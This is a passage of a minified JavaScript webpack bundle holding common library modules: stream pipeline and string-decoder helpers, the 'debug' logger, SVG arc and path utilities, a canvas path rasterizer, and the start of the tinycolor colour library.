o=e(74322).q,L=o.ERR_MISSING_ARGS,S=o.ERR_STREAM_DESTROYED;function d(u){if(u)throw u}function g(u){return u.setHeader&&typeof u.abort=="function"}function t(u,s,y,c){c=P(c);var b=!1;u.on("close",function(){b=!0}),M===void 0&&(M=e(12726)),M(u,{readable:s,writable:y},function(i){if(i)return c(i);b=!0,c()});var h=!1;return function(i){if(!b&&!h){if(h=!0,g(u))return u.abort();if(typeof u.destroy=="function")return u.destroy();c(i||new S("pipe"))}}}function r(u){u()}function f(u,s){return u.pipe(s)}function a(u){return!u.length||typeof u[u.length-1]!="function"?d:u.pop()}function l(){for(var u=arguments.length,s=new Array(u),y=0;y<u;y++)s[y]=arguments[y];var c=a(s);if(Array.isArray(s[0])&&(s=s[0]),s.length<2)throw new L("streams");var b,h=s.map(function(i,v){var T=v<s.length-1,w=v>0;return t(i,T,w,function(E){b||(b=E),E&&h.forEach(r),!T&&(h.forEach(r),c(b))})});return s.reduce(f)}te.exports=l},56306:function(te,Z,e){var M=e(74322).q.ERR_INVALID_OPT_VALUE;function P(L,S,d){return L.highWaterMark!=null?L.highWaterMark:S?L[d]:null}function o(L,S,d,g){var t=P(S,g,d);if(t!=null){if(!(isFinite(t)&&Math.floor(t)===t)||t<0){var r=g?d:"highWaterMark";throw new M(r,t)}return Math.floor(t)}return L.objectMode?16:16384}te.exports={getHighWaterMark:o}},71405:function(te,Z,e){te.exports=e(15398).EventEmitter},68019:function(te,Z,e){var M=e(71665).Buffer,P=M.isEncoding||function(h){switch(h=""+h,h&&h.toLowerCase()){case"hex":case"utf8":case"utf-8":case"ascii":case"binary":case"base64":case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":case"raw":return!0;default:return!1}};function o(h){if(!h)return"utf8";for(var i;;)switch(h){case"utf8":case"utf-8":return"utf8";case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return"utf16le";case"latin1":case"binary":return"latin1";case"base64":case"ascii":case"hex":return h;default:if(i)return;h=(""+h).toLowerCase(),i=!0}}function L(h){var i=o(h);if(typeof i!="string"&&(M.isEncoding===P||!P(h)))throw new Error("Unknown encoding: "+h);return i||h}Z.s=S;function S(h){this.encoding=L(h);var i;switch(this.encoding){case"utf16le":this.text=l,this.end=u,i=4;break;case"utf8":this.fillLast=r,i=4;break;case"base64":this.text=s,this.end=y,i=3;break;default:this.write=c,this.end=b;return}this.lastNeed=0,this.lastTotal=0,this.lastChar=M.allocUnsafe(i)}S.prototype.write=function(h){if(h.length===0)return"";var i,v;if(this.lastNeed){if(i=this.fillLast(h),i===void 0)return"";v=this.lastNeed,this.lastNeed=0}else v=0;return v<h.length?i?i+this.text(h,v):this.text(h,v):i||""},S.prototype.end=a,S.prototype.text=f,S.prototype.fillLast=function(h){if(this.lastNeed<=h.length)return h.copy(this.lastChar,this.lastTotal-this.lastNeed,0,this.lastNeed),this.lastChar.toString(this.encoding,0,this.lastTotal);h.copy(this.lastChar,this.lastTotal-this.lastNeed,0,h.length),this.lastNeed-=h.length};function d(h){return h<=127?0:h>>5===6?2:h>>4===14?3:h>>3===30?4:h>>6===2?-1:-2}function g(h,i,v){var T=i.length-1;if(T<v)return 0;var w=d(i[T]);return w>=0?(w>0&&(h.lastNeed=w-1),w):--T<v||w===-2?0:(w=d(i[T]),w>=0?(w>0&&(h.lastNeed=w-2),w):--T<v||w===-2?0:(w=d(i[T]),w>=0?(w>0&&(w===2?w=0:h.lastNeed=w-3),w):0))}function t(h,i,v){if((i[0]&192)!==128)return h.lastNeed=0,"�";if(h.lastNeed>1&&i.length>1){if((i[1]&192)!==128)return h.lastNeed=1,"�";if(h.lastNeed>2&&i.length>2&&(i[2]&192)!==128)return h.lastNeed=2,"�"}}function r(h){var i=this.lastTotal-this.lastNeed,v=t(this,h);if(v!==void 0)return v;if(this.lastNeed<=h.length)return h.copy(this.lastChar,i,0,this.lastNeed),this.lastChar.toString(this.encoding,0,this.lastTotal);h.copy(this.lastChar,i,0,h.length),this.lastNeed-=h.length}function f(h,i){var v=g(this,h,i);if(!this.lastNeed)return h.toString("utf8",i);this.lastTotal=v;var T=h.length-(v-this.lastNeed);return h.copy(this.lastChar,0,T),h.toString("utf8",i,T)}function a(h){var i=h&&h.length?this.write(h):"";return this.lastNeed?i+"�":i}function l(h,i){if((h.length-i)%2===0){var v=h.toString("utf16le",i);if(v){var T=v.charCodeAt(v.length-1);if(T>=55296&&T<=56319)return this.lastNeed=2,this.lastTotal=4,this.lastChar[0]=h[h.length-2],this.lastChar[1]=h[h.length-1],v.slice(0,-1)}return v}return this.lastNeed=1,this.lastTotal=2,this.lastChar[0]=h[h.length-1],h.toString("utf16le",i,h.length-1)}function u(h){var i=h&&h.length?this.write(h):"";if(this.lastNeed){var v=this.lastTotal-this.lastNeed;return i+this.lastChar.toString("utf16le",0,v)}return i}function s(h,i){var v=(h.length-i)%3;return v===0?h.toString("base64",i):(this.lastNeed=3-v,this.lastTotal=3,v===1?this.lastChar[0]=h[h.length-1]:(this.lastChar[0]=h[h.length-2],this.lastChar[1]=h[h.length-1]),h.toString("base64",i,h.length-v))}function y(h){var i=h&&h.length?this.write(h):"";return this.lastNeed?i+this.lastChar.toString("base64",0,3-this.lastNeed):i}function c(h){return h.toString(this.encoding)}function b(h){return h&&h.length?this.write(h):""}},90715:function(te,Z,e){var M=e(32791),P=e(41633)("stream-parser");te.exports=g;var o=-1,L=0,S=1,d=2;function g(h){var i=h&&typeof h._transform=="function",v=h&&typeof h._write=="function";if(!i&&!v)throw new Error("must pass a Writable or Transform stream in");P("extending Parser into stream"),h._bytes=r,h._skipBytes=f,i&&(h._passthrough=a),i?h._transform=u:h._write=l}function t(h){P("initializing parser stream"),h._parserBytesLeft=0,h._parserBuffers=[],h._parserBuffered=0,h._parserState=o,h._parserCallback=null,typeof h.push=="function"&&(h._parserOutput=h.push.bind(h)),h._parserInit=!0}function r(h,i){M(!this._parserCallback,'there is already a "callback" set!'),M(isFinite(h)&&h>0,'can only buffer a finite number of bytes > 0, got "'+h+'"'),this._parserInit||t(this),P("buffering %o bytes",h),this._parserBytesLeft=h,this._parserCallback=i,this._parserState=L}function f(h,i){M(!this._parserCallback,'there is already a "callback" set!'),M(h>0,'can only skip > 0 bytes, got "'+h+'"'),this._parserInit||t(this),P("skipping %o bytes",h),this._parserBytesLeft=h,this._parserCallback=i,this._parserState=S}function a(h,i){M(!this._parserCallback,'There is already a "callback" set!'),M(h>0,'can only pass through > 0 bytes, got "'+h+'"'),this._parserInit||t(this),P("passing through %o bytes",h),this._parserBytesLeft=h,this._parserCallback=i,this._parserState=d}function l(h,i,v){this._parserInit||t(this),P("write(%o bytes)",h.length),typeof i=="function"&&(v=i),c(this,h,null,v)}function u(h,i,v){this._parserInit||t(this),P("transform(%o bytes)",h.length),typeof i!="function"&&(i=this._parserOutput),c(this,h,i,v)}function s(h,i,v,T){return h._parserBytesLeft<=0?T(new Error("got data but not currently parsing anything")):i.length<=h._parserBytesLeft?function(){return y(h,i,v,T)}:function(){var w=i.slice(0,h._parserBytesLeft);return y(h,w,v,function(E){if(E)return T(E);if(i.length>w.length)return function(){return s(h,i.slice(w.length),v,T)}})}}function y(h,i,v,T){if(h._parserBytesLeft-=i.length,P("%o bytes left for stream piece",h._parserBytesLeft),h._parserState===L?(h._parserBuffers.push(i),h._parserBuffered+=i.length):h._parserState===d&&v(i),h._parserBytesLeft===0){var w=h._parserCallback;if(w&&h._parserState===L&&h._parserBuffers.length>1&&(i=Buffer.concat(h._parserBuffers,h._parserBuffered)),h._parserState!==L&&(i=null),h._parserCallback=null,h._parserBuffered=0,h._parserState=o,h._parserBuffers.splice(0),w){var E=[];i&&E.push(i),v&&E.push(v);var p=w.length>E.length;p&&E.push(b(T));var A=w.apply(h,E);if(!p||T===A)return T}}else return T}var c=b(s);function b(h){return function(){for(var i=h.apply(this,arguments);typeof i=="function";)i=i();return i}}},41633:function(te,Z,e){var M=e(90386);Z=te.exports=e(74469),Z.log=L,Z.formatArgs=o,Z.save=S,Z.load=d,Z.useColors=P,Z.storage=typeof chrome<"u"&&typeof chrome.storage<"u"?chrome.storage.local:g(),Z.colors=["lightseagreen","forestgreen","goldenrod","dodgerblue","darkorchid","crimson"];function P(){return typeof window<"u"&&window.process&&window.process.type==="renderer"?!0:typeof document<"u"&&document.documentElement&&document.documentElement.style&&document.documentElement.style.WebkitAppearance||typeof window<"u"&&window.console&&(window.console.firebug||window.console.exception&&window.console.table)||typeof navigator<"u"&&navigator.userAgent&&navigator.userAgent.toLowerCase().match(/firefox\/(\d+)/)&&parseInt(RegExp.$1,10)>=31||typeof navigator<"u"&&navigator.userAgent&&navigator.userAgent.toLowerCase().match(/applewebkit\/(\d+)/)}Z.formatters.j=function(t){try{return JSON.stringify(t)}catch(r){return"[UnexpectedJSONParseError]: "+r.message}};function o(t){var r=this.useColors;if(t[0]=(r?"%c":"")+this.namespace+(r?" %c":" ")+t[0]+(r?"%c ":" ")+"+"+Z.humanize(this.diff),!!r){var f="color: "+this.color;t.splice(1,0,f,"color: inherit");var a=0,l=0;t[0].replace(/%[a-zA-Z%]/g,function(u){u!=="%%"&&(a++,u==="%c"&&(l=a))}),t.splice(l,0,f)}}function L(){return typeof console=="object"&&console.log&&Function.prototype.apply.call(console.log,console,arguments)}function S(t){try{t==null?Z.storage.removeItem("debug"):Z.storage.debug=t}catch{}}function d(){var t;try{t=Z.storage.debug}catch{}return!t&&typeof M<"u"&&"env"in M&&(t=M.env.DEBUG),t}Z.enable(d());function g(){try{return window.localStorage}catch{}}},74469:function(te,Z,e){Z=te.exports=o.debug=o.default=o,Z.coerce=g,Z.disable=S,Z.enable=L,Z.enabled=d,Z.humanize=e(11375),Z.names=[],Z.skips=[],Z.formatters={};var M;function P(t){var r=0,f;for(f in t)r=(r<<5)-r+t.charCodeAt(f),r|=0;return Z.colors[Math.abs(r)%Z.colors.length]}function o(t){function r(){if(r.enabled){var f=r,a=+new Date,l=a-(M||a);f.diff=l,f.prev=M,f.curr=a,M=a;for(var u=new Array(arguments.length),s=0;s<u.length;s++)u[s]=arguments[s];u[0]=Z.coerce(u[0]),typeof u[0]!="string"&&u.unshift("%O");var y=0;u[0]=u[0].replace(/%([a-zA-Z%])/g,function(b,h){if(b==="%%")return b;y++;var i=Z.formatters[h];if(typeof i=="function"){var v=u[y];b=i.call(f,v),u.splice(y,1),y--}return b}),Z.formatArgs.call(f,u);var c=r.log||Z.log||console.log.bind(console);c.apply(f,u)}}return r.namespace=t,r.enabled=Z.enabled(t),r.useColors=Z.useColors(),r.color=P(t),typeof Z.init=="function"&&Z.init(r),r}function L(t){Z.save(t),Z.names=[],Z.skips=[];for(var r=(typeof t=="string"?t:"").split(/[\s,]+/),f=r.length,a=0;a<f;a++)r[a]&&(t=r[a].replace(/\*/g,".*?"),t[0]==="-"?Z.skips.push(new RegExp("^"+t.substr(1)+"$")):Z.names.push(new RegExp("^"+t+"$")))}function S(){Z.enable("")}function d(t){var r,f;for(r=0,f=Z.skips.length;r<f;r++)if(Z.skips[r].test(t))return!1;for(r=0,f=Z.names.length;r<f;r++)if(Z.names[r].test(t))return!0;return!1}function g(t){return t instanceof Error?t.stack||t.message:t}},11375:function(te){var Z=1e3,e=Z*60,M=e*60,P=M*24,o=P*365.25;te.exports=function(t,r){r=r||{};var f=typeof t;if(f==="string"&&t.length>0)return L(t);if(f==="number"&&isNaN(t)===!1)return r.long?d(t):S(t);throw new Error("val is not a non-empty string or a valid number. val="+JSON.stringify(t))};function L(t){if(t=String(t),!(t.length>100)){var r=/^((?:\d+)?\.?\d+) *(milliseconds?|msecs?|ms|seconds?|secs?|s|minutes?|mins?|m|hours?|hrs?|h|days?|d|years?|yrs?|y)?$/i.exec(t);if(r){var f=parseFloat(r[1]),a=(r[2]||"ms").toLowerCase();switch(a){case"years":case"year":case"yrs":case"yr":case"y":return f*o;case"days":case"day":case"d":return f*P;case"hours":case"hour":case"hrs":case"hr":case"h":return f*M;case"minutes":case"minute":case"mins":case"min":case"m":return f*e;case"seconds":case"second":case"secs":case"sec":case"s":return f*Z;case"milliseconds":case"millisecond":case"msecs":case"msec":case"ms":return f;default:return}}}}function S(t){return t>=P?Math.round(t/P)+"d":t>=M?Math.round(t/M)+"h":t>=e?Math.round(t/e)+"m":t>=Z?Math.round(t/Z)+"s":t+"ms"}function d(t){return g(t,P,"day")||g(t,M,"hour")||g(t,e,"minute")||g(t,Z,"second")||t+" ms"}function g(t,r,f){if(!(t<r))return t<r*1.5?Math.floor(t/r)+" "+f:Math.ceil(t/r)+" "+f+"s"}},99011:function(te,Z,e){var M=e(88641);te.exports=function(o,L,S){if(o==null)throw Error("First argument should be a string");if(L==null)throw Error("Separator should be a string or a RegExp");S?(typeof S=="string"||Array.isArray(S))&&(S={ignore:S}):S={},S.escape==null&&(S.escape=!0),S.ignore==null?S.ignore=["[]","()","{}","<>",'""',"''","``","“”","«»"]:(typeof S.ignore=="string"&&(S.ignore=[S.ignore]),S.ignore=S.ignore.map(function(u){return u.length===1&&(u=u+u),u}));var d=M.parse(o,{flat:!0,brackets:S.ignore}),g=d[0],t=g.split(L);if(S.escape){for(var r=[],f=0;f<t.length;f++){var a=t[f],l=t[f+1];a[a.length-1]==="\\"&&a[a.length-2]!=="\\"?(r.push(a+L+l),f++):r.push(a)}t=r}for(var f=0;f<t.length;f++)d[0]=t[f],t[f]=M.stringify(d,{flat:!0});return t}},68664:function(te){te.exports=Z;function Z(e){for(var M=e.length,P=new Array(M),o=new Array(M),L=new Array(M),S=new Array(M),d=new Array(M),g=new Array(M),t=0;t<M;++t)P[t]=-1,o[t]=0,L[t]=!1,S[t]=0,d[t]=-1,g[t]=[];var r=0,f=[],a=[];function l(c){var b=[c],h=[c];for(P[c]=o[c]=r,L[c]=!0,r+=1;h.length>0;){c=h[h.length-1];var i=e[c];if(S[c]<i.length){for(var v=S[c];v<i.length;++v){var T=i[v];if(P[T]<0){P[T]=o[T]=r,L[T]=!0,r+=1,b.push(T),h.push(T);break}else L[T]&&(o[c]=Math.min(o[c],o[T])|0);d[T]>=0&&g[c].push(d[T])}S[c]=v}else{if(o[c]===P[c]){for(var w=[],E=[],p=0,v=b.length-1;v>=0;--v){var A=b[v];if(L[A]=!1,w.push(A),E.push(g[A]),p+=g[A].length,d[A]=f.length,A===c){b.length=v;break}}f.push(w);for(var m=new Array(p),v=0;v<E.length;v++)for(var n=0;n<E[v].length;n++)m[--p]=E[v][n];a.push(m)}h.pop()}}}for(var t=0;t<M;++t)P[t]<0&&l(t);for(var u,t=0;t<a.length;t++){var s=a[t];if(s.length!==0){s.sort(function(b,h){return b-h}),u=[s[0]];for(var y=1;y<s.length;y++)s[y]!==s[y-1]&&u.push(s[y]);a[t]=u}}return{components:f,adjacencyList:a}}},7095:function(te,Z,e){e.r(Z);var M=function(){function t(r,f){var a=[],l=!0,u=!1,s=void 0;try{for(var y=r[Symbol.iterator](),c;!(l=(c=y.next()).done)&&(a.push(c.value),!(f&&a.length===f));l=!0);}catch(b){u=!0,s=b}finally{try{!l&&y.return&&y.return()}finally{if(u)throw s}}return a}return function(r,f){if(Array.isArray(r))return r;if(Symbol.iterator in Object(r))return t(r,f);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),P=Math.PI*2,o=function(r,f,a,l,u,s,y){var c=r.x,b=r.y;c*=f,b*=a;var h=l*c-u*b,i=u*c+l*b;return{x:h+s,y:i+y}},L=function(r,f){var a=f===1.5707963267948966?.551915024494:f===-1.5707963267948966?-.551915024494:1.3333333333333333*Math.tan(f/4),l=Math.cos(r),u=Math.sin(r),s=Math.cos(r+f),y=Math.sin(r+f);return[{x:l-u*a,y:u+l*a},{x:s+y*a,y:y-s*a},{x:s,y}]},S=function(r,f,a,l){var u=r*l-f*a<0?-1:1,s=r*a+f*l;return s>1&&(s=1),s<-1&&(s=-1),u*Math.acos(s)},d=function(r,f,a,l,u,s,y,c,b,h,i,v){var T=Math.pow(u,2),w=Math.pow(s,2),E=Math.pow(i,2),p=Math.pow(v,2),A=T*w-T*p-w*E;A<0&&(A=0),A/=T*p+w*E,A=Math.sqrt(A)*(y===c?-1:1);var m=A*u/s*v,n=A*-s/u*i,C=h*m-b*n+(r+a)/2,x=b*m+h*n+(f+l)/2,I=(i-m)/u,k=(v-n)/s,B=(-i-m)/u,_=(-v-n)/s,F=S(1,0,I,k),O=S(I,k,B,_);return c===0&&O>0&&(O-=P),c===1&&O<0&&(O+=P),[C,x,F,O]},g=function(r){var f=r.px,a=r.py,l=r.cx,u=r.cy,s=r.rx,y=r.ry,c=r.xAxisRotation,b=c===void 0?0:c,h=r.largeArcFlag,i=h===void 0?0:h,v=r.sweepFlag,T=v===void 0?0:v,w=[];if(s===0||y===0)return[];var E=Math.sin(b*P/360),p=Math.cos(b*P/360),A=p*(f-l)/2+E*(a-u)/2,m=-E*(f-l)/2+p*(a-u)/2;if(A===0&&m===0)return[];s=Math.abs(s),y=Math.abs(y);var n=Math.pow(A,2)/Math.pow(s,2)+Math.pow(m,2)/Math.pow(y,2);n>1&&(s*=Math.sqrt(n),y*=Math.sqrt(n));var C=d(f,a,l,u,s,y,i,T,E,p,A,m),x=M(C,4),I=x[0],k=x[1],B=x[2],_=x[3],F=Math.abs(_)/(P/4);Math.abs(1-F)<1e-7&&(F=1);var O=Math.max(Math.ceil(F),1);_/=O;for(var z=0;z<O;z++)w.push(L(B,_)),B+=_;return w.map(function(N){var G=o(N[0],s,y,p,E,I,k),J=G.x,q=G.y,ne=o(N[1],s,y,p,E,I,k),fe=ne.x,X=ne.y,W=o(N[2],s,y,p,E,I,k),V=W.x,Y=W.y;return{x1:J,y1:q,x2:fe,y2:X,x:V,y:Y}})};Z.default=g},1750:function(te,Z,e){var M=e(95616),P=e(65185),o=e(29988),L=e(89546),S=e(32791);te.exports=d;function d(g){if(Array.isArray(g)&&g.length===1&&typeof g[0]=="string"&&(g=g[0]),typeof g=="string"&&(S(L(g),"String is not an SVG path."),g=M(g)),S(Array.isArray(g),"Argument should be a string or an array of path segments."),g=P(g),g=o(g),!g.length)return[0,0,0,0];for(var t=[1/0,1/0,-1/0,-1/0],r=0,f=g.length;r<f;r++)for(var a=g[r].slice(1),l=0;l<a.length;l+=2)a[l+0]<t[0]&&(t[0]=a[l+0]),a[l+1]<t[1]&&(t[1]=a[l+1]),a[l+0]>t[2]&&(t[2]=a[l+0]),a[l+1]>t[3]&&(t[3]=a[l+1]);return t}},29988:function(te,Z,e){te.exports=P;var M=e(7095);function P(S){for(var d,g=[],t=0,r=0,f=0,a=0,l=null,u=null,s=0,y=0,c=0,b=S.length;c<b;c++){var h=S[c],i=h[0];switch(i){case"M":f=h[1],a=h[2];break;case"A":var v=M({px:s,py:y,cx:h[6],cy:h[7],rx:h[1],ry:h[2],xAxisRotation:h[3],largeArcFlag:h[4],sweepFlag:h[5]});if(!v.length)continue;for(var T=0,w;T<v.length;T++)w=v[T],h=["C",w.x1,w.y1,w.x2,w.y2,w.x,w.y],T<v.length-1&&g.push(h);break;case"S":var E=s,p=y;(d=="C"||d=="S")&&(E+=E-t,p+=p-r),h=["C",E,p,h[1],h[2],h[3],h[4]];break;case"T":d=="Q"||d=="T"?(l=s*2-l,u=y*2-u):(l=s,u=y),h=L(s,y,l,u,h[1],h[2]);break;case"Q":l=h[1],u=h[2],h=L(s,y,h[1],h[2],h[3],h[4]);break;case"L":h=o(s,y,h[1],h[2]);break;case"H":h=o(s,y,h[1],y);break;case"V":h=o(s,y,s,h[1]);break;case"Z":h=o(s,y,f,a);break}d=i,s=h[h.length-2],y=h[h.length-1],h.length>4?(t=h[h.length-4],r=h[h.length-3]):(t=s,r=y),g.push(h)}return g}function o(S,d,g,t){return["C",S,d,g,t,g,t]}function L(S,d,g,t,r,f){return["C",S/3+.6666666666666666*g,d/3+.6666666666666666*t,r/3+.6666666666666666*g,f/3+.6666666666666666*t,r,f]}},82019:function(te,Z,e){var M=e(1750),P=e(95616),o=e(31457),L=e(89546),S=e(44781),d=document.createElement("canvas"),g=d.getContext("2d");te.exports=t;function t(a,l){if(!L(a))throw Error("Argument should be valid svg path string");l||(l={});var u,s;l.shape?(u=l.shape[0],s=l.shape[1]):(u=d.width=l.w||l.width||200,s=d.height=l.h||l.height||200);var y=Math.min(u,s),c=l.stroke||0,b=l.viewbox||l.viewBox||M(a),h=[u/(b[2]-b[0]),s/(b[3]-b[1])],i=Math.min(h[0]||0,h[1]||0)/2;if(g.fillStyle="black",g.fillRect(0,0,u,s),g.fillStyle="white",c&&(typeof c!="number"&&(c=1),c>0?g.strokeStyle="white":g.strokeStyle="black",g.lineWidth=Math.abs(c)),g.translate(u*.5,s*.5),g.scale(i,i),f()){var v=new Path2D(a);g.fill(v),c&&g.stroke(v)}else{var T=P(a);o(g,T),g.fill(),c&&g.stroke()}g.setTransform(1,0,0,1,0,0);var w=S(g,{cutoff:l.cutoff!=null?l.cutoff:.5,radius:l.radius!=null?l.radius:y*.5});return w}var r;function f(){if(r!=null)return r;var a=document.createElement("canvas").getContext("2d");if(a.canvas.width=a.canvas.height=1,!window.Path2D)return r=!1;var l=new Path2D("M0,0h1v1h-1v-1Z");a.fillStyle="black",a.fill(l);var u=a.getImageData(0,0,1,1);return r=u&&u.data&&u.data[3]===255}},84267:function(te,Z,e){var M;(function(P){var o=/^\s+/,L=/\s+$/,S=0,d=P.round,g=P.min,t=P.max,r=P.random;function f(K,oe){if(K=K||"",oe=oe||{},K instanceof f)return K;if(!(this instanceof f))return new f(K,oe);var re=a(K);this._originalInput=K,this._r=re.r,this._g=re.g,this._b=re.b,this._a=re.a,this._roundA=d(100*this._a)/100,this._format=oe.format||re.format,this._gradientType=oe.gradientType,this._r<1&&(this._r=d(this._r)),this._g<1&&(this._g=d(this._g)),this._b<1&&(this._b=d(this._b)),this._ok=re.ok,this._tc_id=S++}f.prototype={isDark:function(){return this.getBrightness()<128},isLight:function(){return!this.isDark()},isValid:function(){return this._ok},getOriginalInput:function(){return this._originalInput},getFormat:function(){return this._format},getAlpha:function(){return this._a},getBrightness:function(){var K=this.toRgb();return(K.r*299+K.g*587+K.b*114)/1e3},getLuminance:function(){var K=this.toRgb(),oe,re,le,pe,we,xe;return oe=K.r/255,re=K.g/255,le=K.b/255,oe<=.03928?pe=oe/12.92:pe=P.pow((oe+.055)/1.055,2.4),re<=.03928?we=re/12.92:we=P.pow((re+.055)/1.055,2.4),le<=.03928?xe=le/12.92:xe=P.pow((le+.055)/1.055,2.4),.2126*pe+.7152*we+.0722*xe},setAlpha:function(K){return this._a=z(K),this._roundA=d(100*this._a)/100,this},toHsv:function(){var K=y(this._r,this._g,this._b);return{h:K.h*360,s:K.s,v:K.v,a:this._a}},toHsvString:function(){var K=y(this._r,this._g,this._b),oe=d(K.h*360),re=d(K.s*100),le=d(K.v*100);return this._a==1?"hsv("+oe+", "+re+"%, "+le+"%)":"hsva("+oe+", "+re+"%, "+le+"%, "+this._roundA+")"},toHsl:function(){var K=u(this._r,this._g,this._b);return{h:K.h*360,s:K.s,l:K.l,a:this._a}},toHslString:function(){var K=u(this._r,this._g,this._b),oe=d(K.h*360),re=d(K.s*100),le=d(K.l*100);return this._a==1?"hsl("+oe+", "+re+"%, "+le+"%)":"hsla("+oe+", "+re+"%, "+le+"%, "+this._roundA+")"},toHex:function(K){return b(this._r,this._g,this._b,K)},toHexString:function(K){return"#"+this.toHex(K)},toHex8:function(K){return h(this._r,this._g,this._b,this._a,K)},toHex8String:function(K){return"#"+this.toHex8(K)},toRgb:function(){return{r:d(this._r),g:d(this._g),b:d(this._b),a:this._a}},toRgbString:function(){return this._a==1?"rgb("+d(this._r)+", "+d(this._g)+", "+d(this._b)+")":"rgba("+d(this._r)+", "+d(this._g)+", "+d(this._b)+", "+this._roundA+")"},toPercentageRgb:function(){return{r:d(N(this._r,255)*100)+"%",g:d(N(this._g,255)*100)+"%",b:d(N(this._b,255)*100)+"%",a:this._a}},toPercentageRgbString:function(){return this._a==1?"rgb("+d(N(this._r,255)*100)+"%, "+d(N(this._g,255)*100)+"%, "+d(N(this._b,255)*100)+"%)":"rgba("+d(N(this._r,255)*100)+"%, "+d(N(this._g,255)*100)+"%, "+d(N(this._b,255)*100)+"%, "+this._roundA+")"},toName:function(){return this._a===0?"transparent":this._a<1?!1:F[b(this._r,this._g,this._b,!0)]||!1},toFilter:function(K){var oe="#"+i(this._r,this._g,this._b,this._a),re=oe,le=this._gradientType?"GradientType = 1, ":"";if(K){var pe=f(K);re="#"+i(pe._r,pe._g,pe._b,pe._a)}return"progid:DXImageTransform.Microsoft.gradient("+le+"startColorstr="+oe+",endColorstr="+re+")"},toString:function(K){var oe=!!K;K=K||this._format;var re=!1,le=this._a<1&&this._a>=0,pe=!oe&&le&&(K==="hex"||K==="hex6"||K==="hex3"||K==="hex4"||K==="hex8"||K==="name");return pe?K==="name"&&this._a===0?this.toName():this.toRgbString():(K==="rgb"&&(re=this.toRgbString()),K==="prgb"&&(re=this.toPercentageRgbString()),(K==="hex"||K==="hex6")&&(re=this.toHexString()),K==="hex3"&&(re=this.toHexString(!0)),K==="hex4"&&(re=this.toHex8String(!0)),K==="hex8"&&(re=this.toHex8String()),K==="name"&&(re=this.toName()),K==="hsl"&&(re=this.toHslString()),K==="hsv"&&(re=this.toHsvString()),re||this.toHexString())},clone:function(){return f(this.toString())},_applyModification:function(K,oe){var re=K.apply(null,[this].concat([].slice.call(oe)));return this._r=re._r,this._g=re._g,this._b=re._b,this.setAlpha(re._a),this},lighten:function(){return this._applyModification(E,arguments)},brighten:function(){return this._applyModification(p,arguments)},darken:function(){return this._applyModification(A,arguments)},desaturate:function(){return this._applyModification(v,arguments)},saturate:function(){return this._applyModification(T,arguments)},greyscale:function(){return this._applyModification(w,arguments)},spin:function(){return this._applyModification(m,arguments)},_applyCombination:function(K,oe){return K.apply(null,[this].concat([].slice.call(oe)))},analogous:function(){return this._applyCombination(k,arguments)},complement:function(){return this._applyCombination(n,arguments)},monochromatic:function(){return this._applyCombination(B,arguments)},splitcomplement:function(){return this._applyCombination(I,arguments)},triad:function(){return this._applyCombination(C,arguments)},tetrad:function(){return this._applyCombination(x,arguments)}},f.fromRatio=function(K,oe){if(typeof K=="object"){var re={};for(var le in K)K.hasOwnProperty(le)&&(le==="a"?re[le]=K[le]:re[le]=X(K[le]));K=re}return f(K,oe)};function a(K){var oe={r:0,g:0,b:0},re=1,le=null,pe=null,we=null,xe=!1,ke=!1;return typeof K=="string"&&(K=ie(K)),typeof K=="object"&&(Q(K.r)&&Q(K.g)&&Q(K.b)?(oe=l(K.r,K.g,K.b),xe=!0,ke=String(K.r).substr(-1)==="%"?"prgb":"rgb"):Q(K.h)&&Q(K.s)&&Q(K.v)?(le=X(K.s),pe=X(K.v),oe=c(K.h,le,pe),xe=!0,ke="hsv"):Q(K.h)&&Q(K.s)&&Q(K.l)&&(le=X(K.s),we=X(K.l),oe=s(K.h,le,we),xe=!0,ke="hsl"),K.hasOwnProperty("a")&&(re=K.a)),re=z(re),{ok:xe,format:K.format||ke,r:g(255,t(oe.r,0)),g:g(255,t(oe.g,0)),b:g(255,t(oe.b,0)),a:re}}function l(K,oe,re){return{r:N(K,255)*255,g:N(oe,255)*255,b:N(re,255)*255}}function u(K,oe,re){K=N(K,255),oe=N(oe,255),re=N(re,255);var le=t(K,oe,re),pe=g(K,oe,re),we,xe,ke=(le+pe)/2;if(le==pe)we=xe=0;else{var _e=le-pe;switch(xe=ke>.5?_e/(2-le-pe):_e/(le+pe),le){case K:we=(oe-re)/_e+(oe<re?6:0);break;case oe:we=(re-K)/_e+2;break;case re:we=(K-oe)/_e+4;break}we/=6}return{h:we,s:xe,l:ke}}function s(K,oe,re){var le,pe,we;K=N(K,360),oe=N(oe,100),re=N(re,100);function xe(be,ge,Te){return Te<0&&(Te+=1),Te>1&&(Te-=1),Te<.16666666666666666?be+(ge-be)*6*Te:Te<.5?ge:Te<.6666666666666666?be+(ge-be)*(.6666666666666666-Te)*6:be}if(oe===0)le=pe=we=re;else{var ke=re<.5?re*(1+oe):re+oe-re*oe,_e=2*re-ke;le=xe(_e,ke,K+.3333333333333333),pe=xe(_e,ke,K),we=xe(_e,ke,K-.3333333333333333)}return{r:le*255,g:pe*255,b:we*255}}function y(K,oe,re){K=N(K,255),oe=N(oe,255),re=N(re,255);var le=t(K,oe,re),pe=g(K,oe,re),we,xe,ke=le,_e=le-pe;if(xe=le===0?0:_e/le,le==pe)we=0;else{switch(le){case K:we=(oe-re)/_e+(oe<re?6:0);break;case oe:we=(re-K)/_e+2;break;case re:we=(K-oe)/_e+4;break}we/=6}return{h:we,s:xe,v:ke}}function c(K,oe,re){K=N(K,360)*6,oe=N(oe,100),re=N(re,100);var le=P.floor(K),pe=K-le,we=re*(1-oe),xe=re*(1-pe*oe),ke=re*(1-(1-pe)*oe),_e=le%6,be=[re,xe,we,we,ke,re][_e],ge=[ke,re,re,xe,we,we][_e],Te=[we,we,ke,re,re,xe][_e];return{r:be*255,g:ge*255,b:Te*255}}function b(K,oe,re,le){var pe=[fe(d(K).toString(16)),fe(d(oe).toString(16)),fe(d(re).toString(16))];return le&&pe[0].charAt(0)==pe[0].charAt(1)&&pe[1].charAt(0)==pe[1].charAt(1)&&pe[2].charAt(0)==pe[2].charAt(1)?pe[0].charAt(0)+pe[1].charAt(0)+pe[2].charAt(0):pe.join("")}function h(K,oe,re,le,pe){var we=[fe(d(K).toString(16)),fe(d(oe).toString(16)),fe(d(re).toString(16)),fe(W(le))];return 